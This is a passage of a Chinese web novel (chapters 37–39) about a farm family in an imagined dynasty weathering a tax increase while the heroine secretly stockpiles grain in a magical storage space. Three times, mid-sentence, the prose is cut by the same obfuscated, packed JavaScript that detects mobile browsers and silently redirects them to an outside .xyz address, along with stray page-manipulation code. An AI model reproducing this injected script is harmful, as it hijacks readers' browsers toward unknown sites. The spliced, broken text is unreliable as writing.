“可不是么！听爱用我家香膏的娘子说，最初那一瓶还卖得二两银一瓶，后头一经哄抢，一瓶便卖到了五两。瑛娘来得也是不巧，那口脂也是前几日才卖完，不然还能瞧瞧那口脂如何稀奇。” 瑛娘自然知道那口脂稀奇在何处，笑笑不语，与戴娘子告别，又花二两银买了一百个广口瓷瓶，这才离了坊市，去药铺买了三副药包，又去杂货铺子买了六坛山茶油。 方小娘子卖口脂的银钱还未交与汪辰，但想来这几日也该能拿回结银。 这口脂利厚，届时且看方小娘子与汪辰如何盘算，若是愿意买断这门生意，便是教了方子叫他们自个儿做也成，也叫她省几分力气。 寻常人家一坛子山茶油得用许久，前头汪辰才来帮徐氏带了几坛，今日瑛娘又买了这许多，章文德便忍不住好奇，问道：“瑛娘家里头又出了新鲜？” “不算新鲜，就是寻常脂粉，叫家中嫂嫂挣个辛苦钱。” 脂粉生意章文德确是未曾触及，自然不算了解其中利益，闻言只点了点头，并未多问，“六坛有些多，可背得动？” 瑛娘也点了点头，转而又道：“却是忘了问章叔家中女眷好，她们可有什么忌讳？下回得了新鲜，我也好拿些与她们用用。” 章文德笑着摆了摆手，“你婶婶有用惯的脂粉，你妹妹也还小，暂时用不上。” 见他说得实在，瑛娘便没追着非要送，谢过章文德便背着油坛子回了档口面摊子。 这日没甚别的事，瑛娘便在面摊子帮了把手。 待得卖完今日带来的东西，汪辰歇了会子劲儿，才与瑛娘道：“蕙娘来找过你，你却不在。一会儿去肉铺找她？” “行。” 方小娘子找她自是为着口脂的结银。 瑛娘叫她帮着卖口脂时也未告知口脂雅称，方小娘子便没自作主张与其名头，因此初卖时很是受挫。 后头她想了个办法，自个儿咬牙开了一瓶用着，叫那些娘子好看颜色、润度，又舍了些与她们试了试妆，这口脂才卖出去几瓶。 本以为这三十来瓶如何也得卖上个几月，却不曾想那些娘子口口相传，隔两天便争抢了起来。 方小娘子起初还懵着，直到卖出一半才想到这价怕是叫瑛娘定低了，便做主提了一两，谁知那些个娘子抢疯了，眼见又卖了几瓶出去，便有人出价五两抢购，之后再买，其他娘子却是怕她心头不爽利，也都出了五两的高价！ 三十来瓶，不出一月便卖得九十几两，方小娘子心惊之余，心头很是激荡，叫她娘按住说了一通才冷静下来，仔细琢磨了今后这门生意该如何处之。 口脂生意若能做下去，便是一瓶抽得一百文也足有三贯，但以其受欢迎程度来看，若能得瑛娘应允，以二两或三两的价格将口脂买断才好。 听得汪三郎说，瑛娘是极好相与的妹妹，这事儿与她提了多半能成，所以她才压了结银几日，待得瑛娘进城才好相谈。 方小娘子长得清秀、面甜声软，说起话来却十分干净利索，瑛娘只与她聊了几句家常便对她心生好感，再听她提口脂生意，自然愿意与她做脸。 “若方姐姐想做这门生意，那口脂方子也是能教给方姐姐的。” 方小娘子愣怔，半晌却摇了摇头，“方子乃安身立命之紧要，你我来日再亲近也只是堂姻亲，为着来日好相见，还是与你买现成的好。” 瑛娘笑，道：“那这回方姐姐就抽个三两银，实在没恁多铜钱找补了。之后再做这口脂，我便一瓶都只取二两，卖多卖少全看方姐姐的本事。” 方小娘子这才笑了，“多谢瑛娘。” 不出几日便至农忙。 老汪家几门营生都得停，最忙时便是林氏、陈氏也要下田抢收，倒是瑛娘只用在家中帮手，趁着空闲倒也能做些不费力的东西。 因着不急，一百瓶口脂瑛娘便分了一月来做，待得九月中旬，田里活计轻减，一家子才围坐一桌闲话打算。 这月余来一家子劳力都饿得精棍儿，亏得前头好吃好喝养了十来月才没人倒下。 幸而今年地产比昨年更丰，徐氏便琢磨着以银抵税，麦留给老三家做面，稻全留着自家舂了米吃。 “今年咱家一亩收了三百八，地税得交五百多斤，我琢磨按一斤三文来抵也不过一贯多，要么就把粮食全留了，也免得后头不够吃了还得费力去买。” 眼下家里现银多，汪木匠自然没意见，只道：“这个把月来一家子都累得慌，把菽种上，好生歇个几日，家里的营生不急，等歇好了再做。” 林氏和陈氏确是累个够呛，便是心疼钱也只得忍着。 不过有些事儿先商量了也行，林氏盘算了一下，便与汪木匠和徐氏试探道：“今年该是所有田地收成都不错，咱家菽乳也闯出了名堂，二百来方应也卖得完。不若今年里就比昨年多做些？” 陈氏也有想法：“城头的食客也问了好多回粉条了，估摸着一恢复售卖就能卖许多，我想着大哥四弟能不能多做些？趁着这势头多挣些钱。” 徐氏觉得成，刚要点头就见汪木匠放了筷子，连忙住了嘴叫汪木匠说。 “贪多嚼不烂。咱家如今的进项已是足够，再多，怕得叫村正也不满了。前头三日，老二家的推个五十斤菽，之后每日还推四十斤。老三家的面摊子也不宜多，面就卖个百来碗，不然你们舅舅那头卤下水该是供不上了。老大老四的粉条也照之前五斤的做，叫老三家够个五十碗来卖就成。” 先前灯心草制的墨都叫林氏拿去给汪连存着了，后头制的墨瑛娘却没开口，他们也看到了用料之多，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998900|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事儿汪木匠便不打算管，只叫瑛娘自个儿看着安排。 至于香露、口脂……那都是瑛娘自己个儿做的，没叫家里出力，汪木匠更不好管，也只作不知。 汪木匠不说，瑛娘却有话需得提前道明。 “口脂此前做成便叫方家姐姐拿去卖了，一瓶叫她抽利一百文，但方姐姐聪慧，想了个法子将口脂卖出了高价，总归下月方姐姐就要过门，这营生也算咱家的。” 徐氏开了眼界，倒不至于跟个新孙媳妇计较这些，汪木匠点头，她也就没恁多话说，只道十月办完事儿，她攒的茶枯皂也该送到城头卖去了。 “到时还是卖给杂货铺子那掌柜？” “嗯。” 徐氏的茶枯皂已然攒了五千块，以瑛娘定价，十月出手便能拿回五十贯钱，眼下光想想便乐得呲着牙花直笑。 “五十贯实在难收拾，不若按银计？取个四十五两整，零散的几百文就算让利。” “行呀，到时我与章叔说就是。” “等这批皂卖了，奶又接着做，攒到明年十月下旬怎么着也能有个七千来块，要么瑛娘你问问那掌柜的吃不吃得下？别到时候嫌多，叫奶再多让利可不成。” 说徐氏大方，她又实在抠门。 不过章文德办事地道，买卖从不多问，茶枯皂量大价廉，兴许再多他就会送去商行，叫那头的商队用骡马拉出去卖。 “奶放心，下月送去便叫章叔与奶签一份契，七千块定价六十两？也免得回回谈那让不让利的，计算零碎。” 七千块茶枯皂只取六十两相当于让利四贯，徐氏算了算别的盈收，索性应了下来，“总归小老五、小老六的事儿还得叫他帮忙，四贯便四贯吧，总比另花钱备礼的好。” “行。有奶这份茶枯皂分利，家中其他营生我便不分了，舅爷那头也叫他们别送了。” 瑛娘一语惊四座。 各房的盈收都是自个儿算得来的，虽说瑛娘分得不多，可几门合算，一年到头也能有个十几二十贯，林氏、陈氏算得最是精明，震惊之余也盼着瑛娘开口将这分利让给她们。 只是瑛娘何须与她们好？ 二房占了菽乳方子，又得了瑛娘十几方墨，其中利益不好计算。 三房虽说只得了个支面摊子的点子，可三房只汪辰一个独子，下月方氏进门，却也能带回口脂买卖的盈收，说占便宜，确是比大房更得利。 四房眼下只有薯粉粉条及何氏绣的帕子这两份进账，但瑛娘开了口要帮汪文、汪武求得好出路，只要这两兄弟肯干，来日成就怕也是不可估量。 徐氏心头也是门清，垂着眼算了算瑛娘吃不吃得着亏，便如愿多与了各房一分利，“瑛娘不与你们计较，你们却不能不记瑛娘的好。还是那话，瑛娘的事儿少与外人道，尤其是偏屋里头晒的那些金贵物，瑛娘没开口，你们谁也别帮她往外头说道。” “娘放心，咱们都知道的。” “是呀娘！咱对外说那就都是一家子琢磨的结果，他们眼馋便叫他们自个儿琢磨去！” “奶这不是多想了么？咱们一家子就没个傻的！便是小九也知道家里的事儿往外说不得，我们几个大的难道还会往外胡道？” “就是！蕙娘那头我也早与她说过，便是她爹娘也不知道这口脂是瑛娘做的，只当咱家里几个婶婶心细，才想了这般好东西叫蕙娘帮着卖。” “成。” 37. 增税 点菽需不得多久。 九月初时，田官出巡，自丰县下属地由远至近开征地税，待得征收至大王村已是九月下旬，整村儿的田地都已种新种了一轮。 然九月中却有府衙传书，道公主薨谢，骏阳府转属诚王，诚王为谢天恩，取二成禄还圣上私库。 诚王自然不会自个儿出钱还圣上恩，这二成禄便只能骏阳府下属地百姓替他出。 往日骏阳府农户地税三十取一，现下增二成却不是以这三十之一的二成来算。 以老汪家总产一万五千二百斤为准，今年四十亩地地税就需得上缴一千五百二十斤，且这税粮还不能以倒季的菽、贱价的番薯来凑数，因而如此增税，怕是有许多农户都得典粮换薯才够吃到来年秋收。 再就是，农户典粮价格可不比城头粮店对外的售价，加之今年卖粮的农户多，粮商收粮势必贱价，如此一来，农户的处境更加艰难。 文书一下，此事再无转圜。 偏这文书是在亩产上报县衙后才下的，便是那等劳钱推磨的乡绅富户也没得法子减报避税，大王村各户更是维持不住丰收的喜悦，愁眉苦脸地排队交粮，只待田官离村才聚拢堆来抱怨诚王。 徐氏心头也烦。 原本以钱抵粮，老汪家只需补缴一千五百二十文，现在增收地税，平白多花去三贯余！ 这三贯余得叫老二家的磨十日菽才挣得回来，却叫那新来的诚王嘴巴一张一闭，摊手就给收了去。 偏这话徐氏也只能自个儿在心头想想，不好叫村人听去，不然该以为她这是在吹嘘自家挣钱的本事。 心里头觉得烦的除了汪木匠和徐氏两老口，当属林氏最愁。 农户日子过得紧巴，首当其害的便是二房做的菽乳买卖，先头不知增税，林氏磨了五十斤菽叫汪点德和汪会挑出去卖，结果该嫌少的量却还剩了三十来方，待得第二日文书下发，便是她少磨了十五斤，也依旧剩了十几方来。 天气炎热，一家子拼着命也吃不完这些卖剩的，徐氏拿了出去与亲朋做脸，林氏心头烦闷，便道：“要么这营生先别做了？挑出去也只换得回来豆子，再过些日子，十里八村的普通人家怕是连豆子都拿不出来换了。” 汪点德也不想再去十里八村的叫卖，琢磨着回头还是去城里看看，要能卖，便一日磨个二十斤卖去。 汪木匠听过却不决，转头问三房：“城中情况如何？” 商户自然也有商税，但行一百取二之法，着实算不得高，各处摊贩则因利差不入商户纳税名列。 “……今日蕙娘特意来档口传了信儿，说是府衙下了通告，令商户改一百取四，摊贩也自十月起行一百取二，按月计算，每月三十那日自行去户所登记上缴，如若不从，依税令量刑。” 说罢，陈氏也叹了口气。 面摊子的盈收未受增税影响，但行商税一百取二，意味着每月得抽个三百多文与诚王，一月三百，一年便得三贯，这三贯往年都够一家子嚼用了！ “我们这面摊子还好，蕙娘不是做着口脂生意？她是商户，卖得一百瓶口脂就得白给诚王二十两银！怎恁贪心？！” “蕙娘再有一旬便过门了，届时算作农户，该能少缴一半。” 徐氏还是忧心自个儿和瑛娘的买卖。 眼看十月要卖茶枯皂、桂花香露和那劳什子彩墨，那可是数百两的进账，增了税一下就得去近九两！而杂货铺子那头转手还要加了价卖，若因这增税非要她们让利才肯代销，岂不是还要再损失一笔？ “瑛娘，你说那掌柜的可会认契？” 瑛娘觉得章文德不至于毁契。 毕竟香露纯利九百两往上，便是增税，一批香露在丰县地界也只少赚得十几两银，更别提那颜料绝不可能只售二三两一扣，其中利益远超得罪她来省的税银。 瑛娘忧心的是农户增税带来的连锁反应。 农户一年盈收有限，更多的农户种田只能糊口，地税增收，人口少的农户势必典卖田产以求来年少税，人口多的农户则会卖稻、麦换得菽、薯以求饱腹，届时粮价下跌，粮商大肆低价囤粮，粮产不够的农户再想买粮必定会受粮商辖制。 若官府作为，那粮价可能还不会涨得太过，可一旦诚王不贤，上行下效，那粮价势必会成为压死骆驼的最后一根稻草。 底层百姓若活不下去会如何？ 典妻卖子、弃良从匪，更甚者揭竿起义、颠覆王权。 瑛娘不喜战乱，但若非得经历，也只能提前准备，以全后路。 “阿爷，若咱村儿有人卖地，你帮我问问地价，我想买个五亩。” “五哥，六哥，今年的桂花你叫那几位哥哥帮我摘，只摘够一百瓶香露的量便停手，之后摘蓼蓝，两斤并作一文钱，拢共需得一千二百斤。再找村人帮忙摘栀子、挖茜草，栀子两千斤，茜草根二千八百斤，都要晒干的，咱村儿地界不够便去其他村头寻摸，总归一斤算作一文钱，挣多挣少全看他们自个儿。” “奶，你得空去一趟舅爷家，叫他们帮忙打听谁家卖粮，若有，便帮我多买些来。舂好的稻米一百石，按从前粮店六百文一石的售价来算，晒好的麦也要一百石，照样按粮店售价，算三百六十文一石。另外，奶再去秦老爷家问问今年能不能舍出十石江米，无需贱价，还按昨年十文一斤的价格来算。” “三哥认得章叔，明日有三叔在，你便先停了面摊子的活计，找章叔陪你去药铺帮我买十份药包，需得一百三十两，一会儿我取了来给你。” “爹，四叔，回头你们进城买番薯，也帮我带上两千斤。” 听得瑛娘说完，一家子都陷入了沉默。 无他，实在量大，一时半会儿也算不过来。 徐氏先回了神，倒吸一口凉气，刚要说她便见汪木匠目光沉沉，当即意识到不对，怔怔然闭上了嘴。 其他几房的也陆续回过神来，却才知道瑛娘手头竟攒了恁多银钱。 “瑛娘不若把钱留着到城头置办铺子？买恁多粮食作甚？家里的也紧够吃了。” “是啊！恁多粮存也存不住，难道你是打算转道做粮食买卖？” “胡道啥？瑛娘出的价像是要做粮食买卖么！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998901|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那……那是怎么的……” 瑛娘不经意与汪木匠视线相对，爷孙二人心头皆是沉重，默契之下无声略过了家小的问题。 只盼是他们多想了罢！ 增税如愁云压顶，但各家儿的日子还得过下去。 因着瑛娘需求颇多，村头倒是没得那般发愁的空闲了，盖是有闲的便都结伴上了山去。 老汪家的自然也没闲着，该做的营生还得做，汪木匠则暗地注意着哪家的田地没动静，徐氏也赶着忙去了上湾村替瑛娘办事。 瑛娘也不好闲。 先头种下的胡麻该得收了，这事儿没得人手帮衬，瑛娘便与云氏协作，赶忙割来晒干，好悬赶在汪辰大喜日前给收进了粮袋。 男子娶妻乃人生三大喜。 汪辰的婚事先头早定好了如何办，索性瑛娘交代的事儿一时也急不来，汪木匠和徐氏便也停了手头的事儿，好叫新过门的方氏知晓长辈重视。 方氏虽娇养，却不难相处，更何况早有瑛娘与之往来，方氏也未觉难恰，不出两日便与家小处得自然。 只是瑛娘的事儿眼下却不好与她细说，本意叫她多耍几日的徐氏只得撺掇瑛娘把前头做好的口脂全给了方氏，叫她日日跟着汪辰去城头，好过在家碰着什么，倒叫他们不好解释。 瑛娘哭笑不得，索性徐氏和陈氏皆是如此，她便也点头由她们去了。 “爷奶的事儿打听得如何了？” “这两日听着有两家要卖地的，一亩六贯钱，只他两家地不算肥，今年亩产才将将三百，来年怕是更差，得养养才追得上肥。” “上湾村卖粮的不多，不过你舅爷去其他村头打听了，百来石也是买得来的，但这粮太多，怎么运来才不会叫村头的胡道？秦老爷那头也问过了，说是能舍，看咱家哪日方便，他差人送来就是。” 瑛娘听过，干脆拿了银钱与两老口，道：“阿爷先帮我把地买下，回头我再拿地契去县衙户所登记入册。奶这头，叫秦老爷过几日再帮忙把江米送到家来，回头我再做打算。至于舅爷帮忙收的粮，就先堆在舅爷家里头，待我月底去城头送东西，租个院子，再叫骡车去舅爷家拉。” 两老口没得话好说，只得照着瑛娘教的办。 村人之间典地倒也不麻烦，自有村正开具证明，拿了地契自可去户所入册，汪木匠拿了钱便找去那两家买来了地，带了一笼点心，便叫村正帮忙只写了汪氏，没叫他们知晓地是瑛娘买的。 秦老爷那头也是爽快，得了信儿便连着徐氏一车送了回来，还叫徐氏带了昨年允诺的五十斤柿子。 “……” 瑛娘还真忘了屋里放得窖存柿子的醋坛子了！ 酿柿子醋，柿子窖存一年出霜，摘荻花置窖桶开塞滤酸液，镇过之后便能装坛封口，以待日后取用。 柿子醋酸中带着果香，佐以其他口味皆能增香，可惜昨年四十斤柿子拢共出了这么一坛十斤，回头还得与秦老爷家两斤、章文德两斤，能叫自家留着吃的却是不多了。 好在今年又得了五十斤柿子，洗洗窖上，来年成醋便不送人了。 38. 秘密 处理完柿子醋，才抓紧了制香露、颜料。 香露不费劲，蓼蓝却得先入水酵上五日，且蓼蓝酵水难闻至极，瑛娘只得先制香露。 开始蒸香露前，瑛娘叫上汪文、汪武于夕山脚下挖了处深潭将新鲜的蓼蓝枝叶酵上，待得香露制成，分装入箱笼，正好滤了蓼蓝酵水入石灰沉淀出蓝，其后静置一夜，分取上层浮沫青黛、底层靛泥回家晾晒。 青黛可制画眉石，眼下瑛娘没恁多时间，便先紧着处理风干的靛泥，靛泥掰碎了用乳钵研磨，筛去叶梗、残渣，再加热水调和搅匀，经多次水洗，直到靛泥泡出蓝黑水才好。 如此色度的靛泥还需加胶水飞。 先头熬制的鳔胶够用，瑛娘便以鳔胶胶飞，直到飞出花青色，取上层浮液继续胶飞靛泥，待得色至青黑，整合几次胶飞所得花青汁液，入锅以小火熬煮。 熬煮期间火候需得把控，直到水汽蒸腾，花青汁液已成独有的幽香，花青膏成。 花青膏可直接用以作画，瑛娘取了一些成锭，其他的照旧晒干研碎成粉。 时不待人，瑛娘估摸着能出的量先制了三百扣，待得进城办完事再接着制了余下的存入仓中。 章文德对花青出色十分满意，见瑛娘照旧准备了墨锭，登时喜笑颜开，乐呵呵将墨锭入匣，以待之后送与东家公子。 “公子登了榜首，有此墨锭作礼也算添彩了。” 瑛娘含笑不语，心道此前章文德还真未吹嘘这位公子的能力。 不过以她的身份，这位公子的闲话也不好叫她说，笑过便罢，取出茶枯皂与章文德看，又道：“章叔再卖十坛子山茶油与我。” “成。” 这回进城，除了送桂花香露与花青，便是与章文德谈茶枯皂代销事宜。 章文德确是没为增税发愁，叫伙计把山茶油搬出来与瑛娘放好，这才取用一枚皂涂抹了试过，见其质地细腻润滑，当即应下了与徐氏签契，“如此质地的皂五千、七千都不愁卖，依着我看，你家这皂定价十文还太低了。” 但他只是掌柜，自不可能将买价往上头提，见瑛娘听过面无异色，便又笑问道：“这契还由瑛娘来代签么？” 瑛娘点头，道：“我奶不会写字。” “成。” 签了契，瑛娘又取了柿子醋叫章文德试味儿。 这柿子醋带着果香，酸度也不比市面上的陈醋，章文德用筷箸沾了一些尝过，半晌还觉口中留有余甘，便是他往常不喜食酸，也觉这醋能叫那些挑嘴的食客抢着买。 “瑛娘这醋也打算卖？” “不卖。一年才出了十斤，叫亲朋尝个鲜都不够。” “又吃了瑛娘便宜了。”章文德“哈哈”一笑，竟先提及增税，“瑛娘家地多么？听公子说及今年农户地税翻了三番，你家该是以银代粮吧？” “我家地少，若拿了粮去缴税，来年必定得再买粮吃，” “因着这回增税，十里八村的怕是有不少人家得典田求存。你家听着人口不少，该有计划多买些田地吧？” 瑛娘不好说家里如何，只笑着默认，转而问起城中中人。 坊市多聚富贵人家，普通商户不敢匹及，多以商铺后院自居，瑛娘想要短租院子，当以带后院的商铺为先，但商铺多于闹市，瑛娘所行之事不好叫来往窥探，只好择静处租恁，免得徒增麻烦。 “中人么，有一外名牛二的还算不错，城中大小商铺、宅院他都谈得下来，你要租院子找他最省心。我差伙计帮你把他招来？” “成，多谢章叔。” “与我外道个甚？” 伙计去找人，瑛娘便趁着空闲先去了一趟西市，其一为送桂花香露与戴娘子，其二则是与瓷器铺子定制小物。 世道多变，瑛娘手头有钱，便按着五年的量定了一千五百件细颈瓷瓶、七千五百件广口胭脂扣，另又定了一千件广口瓷瓶。 掌柜惊得算盘都打了半晌，待得算清账，索性又与瑛娘让了些利，“合计收你二百零五两银，另送你五十个陶罐，还是上回你买的那种，如何？” 这回瑛娘没再客气，“多谢掌柜。这些小物掌柜先叫匠人做着，这几日另给掌柜一址，届时掌柜只管往那处送。” “成，这么些东西少说得开三窑，约摸十一月下旬交付。” 瑛娘懒得再计定钱，便与掌柜签了契，直接点了银子与他。 离了西市，瑛娘又去药铺买了十五副口脂药包，这才转道回了杂货铺子。 章文德差人请来的牛二也将将到，见章文德引见之人是一十一、二岁的小娘子也是一惊，好歹知道以章文德为人不至于耍着人玩儿，这才稳住，笑呵呵问瑛娘：“小娘子打算租个多大的院子？除了静可还有别的喜好？这院子又租至何时？” “院子无需多大，能住六七人便可。若有现成的，便先允我租上一月，待下月中旬再与中人协定是否续租。” “眼下确是有那么一处院子。是甜井巷巷尾一独门小院，与其他住户少说也相隔一丈远，内有四间屋、一口井，该是符合小娘子需用。但，小娘子该知短租租子都不低吧？” “一月租子多少？” “一月少说也得五两。” 瑛娘算了算自己的余钱，索性租了两月。 租宅院也需得签契，牛二作为中人自然会写，待得双方签好契书，瑛娘才连同地契、皂契一同拿去户所加印。 户所加印不需得多久，牛二辞别特意跑一趟的章文德，便领了瑛娘去甜井巷认门。 这院子占地三分，四间屋子都无多余陈设，也省了瑛娘自个儿费力去腾空，与牛二道了满意，又问他可有驴车、骡车出借。 “倒是有几家外借骡车的，只那骡车租借也贵，一日需得一百个钱，每日还得好料养着。” “若还需车夫呢？” “叫车夫便需一百二十个钱。” “那劳烦牛二叔帮我借两位车夫、两驾车，需用十日。” “成，小娘子甚时候用？我回头叫人给你牵来。” “明日辰时四刻。” 有了租契，“借用”骡车便无需再扰户所差役，牛二拿了一两银的定钱，乐呵呵择了两家老实好相与的传信去。 租了院子、骡车，瑛娘便叫徐氏入城带队去上湾村运粮，顺道与秦老爷提醒江米能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007559|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往家送了。 第一日运粮，瑛娘只能在城中等着，不过往返少说需得三个时辰，瑛娘便拿了先头买了还没来得及看的话本在院中磋磨时间。 这时候的话本多为闺房娘子消遣，所用字句不算晦涩，内容无非就是江湖快意、红颜命薄一类的“古偶”，论其精彩程度自然不及后世，三个时辰足够瑛娘囫囵着看完三册。 待得申时，徐氏带队拉回了二十袋粮。 两个车夫都是眼里有活儿的，进了院子便主动扛粮包进屋，待得粮包放好，才有些赫然地搓着手问瑛娘：“可能叫我们把骡子喂过再走？” 瑛娘琢磨这二人是担心她克扣骡子口粮，索性给了他们一人二十文钱，道：“二位不如把骡子领回家去，这钱便算作口粮贴补，明日辰时再牵来找我奶。” 自家的骡子自家喂着精细，两个车夫自是乐意，再三感谢过才牵着骡子告辞。 人一走，徐氏才双眼如炬打量起这院落，连“啧”几声，与瑛娘叹道：“还是城里头的院子修得好，也不知这一个院子得花多少银钱？将来要是地税再涨，咱也把地典出去进城来专做买卖营生。” 瑛娘知她是在说笑，也不戳穿她对商籍的“嫌弃”，转身便往囤粮的屋子去。 徐氏自讨了个没趣，紧跟着过去，就听瑛娘劝她闭上眼睛。 徐氏哪是那等听劝的？瑛娘不要她看，她偏看，这一看便险些将眼珠子瞪出来。 “我滴个亲娘耶！粮呢？我那满满二十袋子粮呢？！” 徐氏在屋子里转了几圈，脑子突然一阵清明，倒吸几口凉气，指着空空如也的屋子抖了半晌，才转身指着瑛娘“你你你”了半晌。 “是仙官儿？！” “奶说甚呢？不过是仙官儿借了天宫一隅与我存物，不然奶以为我恁多东西全藏屋里能藏得住？” 大房偏间儿也就恁大点儿，瑛娘自知避不开汪木匠和徐氏两老口，更避不过云氏，索性便借“天宫”之说，与她们掀开一角秘密。 徐氏听过果然不敢再乱瞧，又转了几圈，才福至心灵扒拉着瑛娘叫她帮忙存着她的“私房”。 “奶有多少私房？” “这茶枯皂你不是给了我二十五两么？先头我还攒了五两，你一道帮我藏了。” “行，回头归家了帮你藏。” 徐氏乐得呲了牙花，又恍然道：“你爷这几日愁得一夜睡不着觉，唠叨着这日子怕是一日比一日难过。仙官儿既然借你地方藏东西，你不若再多囤些？钱若不够，我这儿再从公中支给你些。” 瑛娘确是打算再叫云氏回娘家着人买些粮，但公中归公中，瑛娘不想自个儿的账务与整家儿混作堆，便拒绝徐氏，道：“家里这般动静瞒不过人，公中出钱买的便放到粮仓里，也不怕村头有人来问。” 徐氏琢磨了一阵，也怕村头那些人胡道，只得点头应下，“对了，秦老爷明日便会运江米到家里，江米只十石，你还藏么？” “藏。这几日奶便宿在城中，叫三婶来陪你，也不怕往来生人，待舅爷家帮着买的粮运完了，我再进城与中人结银，接奶回家。” “行，你有主意就成。” 39. 盘点 秦老爷一早便差人运了江米来。 徐氏进城前便把粮仓的钥匙给了汪木匠，因而瑛娘也叫他领会了一道“仙官儿”的慷慨，江米一入粮仓便被她收进了自个儿的仓库。 汪木匠与徐氏的反应不可谓不同，也就汪木匠更在乎颜面，强撑着锁了粮仓回了正屋，这才没在瑛娘面前失态。 等粮这几日，瑛娘自也不闲着，趁着蓼蓝酵好，把剩下的花青也全部制成，只是定制的广口胭脂扣还未制成，这批颜料只得暂时收进陶罐存备。 制花青时，瑛娘顺道将先头买来的两匹丝绢染成靛色，叫何氏拿去裁衣裳。 这两匹布自是裁衣给汪文、汪武两兄弟穿，何氏不敢收，瑛娘便只得叫云氏来劝。 也不知云氏如何说的，好歹何氏收下了布，转头赠了瑛娘一支二两重的素簪。 瑛娘哭笑不得，也没推诿，收下簪子便算了。 三百扣花青以备来日意外，却不好叫家里其他人知晓这批颜料没卖，瑛娘便打了个错漏，趁着进城收粮，将花青背至东市才寻了隐蔽处收进仓里。 这几日徐氏在城头也没闲着，白日去上湾村运粮，晚些时便拉着陈氏在城头闲逛，几日一通逛来，还真叫她琢磨来一门新点子，待得瑛娘收粮时，徐氏便跟在她脚后跟儿念叨。 “我瞅着城头做什么营生的都有，眼下菽乳卖得不好，要么再叫你二叔二婶做些大酱、咸菜的搭着卖？你不也说咱家大酱好味？总归都是吃食，家里种的菜也多，腌好了挑来城头多少能卖得些钱。” “行呀，那我再教二叔二婶做些耐放又爽口的小食。” 徐氏心头一块石落定，这才乐呵呵问瑛娘：“那奶今日便归家了？这城头虽好，日日却连个摆闲的都没有，实在待得无趣。” “一会儿咱就一起回。” 瑛娘琢磨着云氏去了云家那头却不好不见瑾娘，那位未曾谋面的大姐也嫁得不远，便拉着徐氏去布行买了两匹棉绢、两匹丝绢。 买布还不算完，与牛二结了骡车的租子，瑛娘扭头又进了驴市，还催着徐氏帮她挑骡。 徐氏：“……” 瑛娘就是犟驴！谁劝得住？ 骡分驴骡、马骡，瑛娘不知其差别，便叫徐氏与她建议。 徐氏自然觉得驴骡更好，一则驴骡跑得快，二则价格更便宜，但瑛娘非唱反调，一听马骡耐力更佳，也不管价值，掏了十五两来便叫驴市的活计与她一辆新车直接给马骡套上。 马骡性子倔，偏生瑛娘也不是个好相与的，得亏瑛娘更胜一筹，一路赶着回家才没叫马骡把她们载沟里去。 家里头石灰、白矾都用尽了，这日买来的几匹布瑛娘便没染，只叫云氏拿了去，当着汪点柱的面儿劝道：“娘也许久没回娘家了，明日便叫爹送你和玥娘回去小住几日，也好见见大姐、四姐，与她们亲香亲香。这布就说是爹娘买的，别叫姐姐、姐夫们多想。” 云氏知晓瑛娘这般说辞不过是不想叫汪点柱知道她藏粮的事儿，嗔她一眼，才扯了包袱收拾了几日的衣裳。 汪点柱正得意大房新得的骡车，不知怎么就要跟媳妇儿分离几日，可惜瑛娘与云氏都不给他说道的机会，挽着挽着便亲亲热热地去了偏间儿哄玥娘睡。 “……” 汪点柱无法，只得闷头睡自个儿的。 哄睡了玥娘，瑛娘才得空取来一百五十两元宝、十两碎银与云氏，“娘回娘家叫舅舅们帮着买二百石稻米、一百石麦，还是先头舅爷家帮忙收粮的价格，买了便叫四姐夫帮忙拉去城头甜井巷巷尾，院子的钥匙一并给娘带过去与他。一百五十两，收完粮该能剩个几两，这几两娘便自个儿藏着，别叫爹知道，另十两则作工钱，也别叫舅舅们白帮忙。” 云客争气，这年来真将野兔养育的营生给盘活了，前头便买了驴车，常往城头酒楼送鲜兔，运粮的事儿找他帮忙最好。 但琼娘嫁得早，瑛娘不知她婆家过得如何，也只能帮云氏找机会去那头贴补。 一百六十两银抱着坠手，云氏知晓瑛娘心意，不自觉红了眼眶，好悬才控制住没掉下泪来，“外道的话娘也不多说了。娘晓得你盘算着做些紧要事儿，但万事需谨慎，你身上有不可与人道的秘密，与人往来时千万得小心。” “我晓得。那事儿只是我与阿爷心忧、多想，指不定那诚王只增收这一回，待大伙儿来年喘过气来，日子该也能慢慢再好过起来。” 云氏并非愚钝之辈，心知瑛娘这话安慰偏多，扯着嘴角笑了笑便不再多说，“睡吧，我叫阿客收完粮便把钥匙送回来。” “好。” 等云氏回屋熄了烛，瑛娘才借着月光开仓盘点。 除开仓里原本就有的那些东西，这一年来也填补了不少。 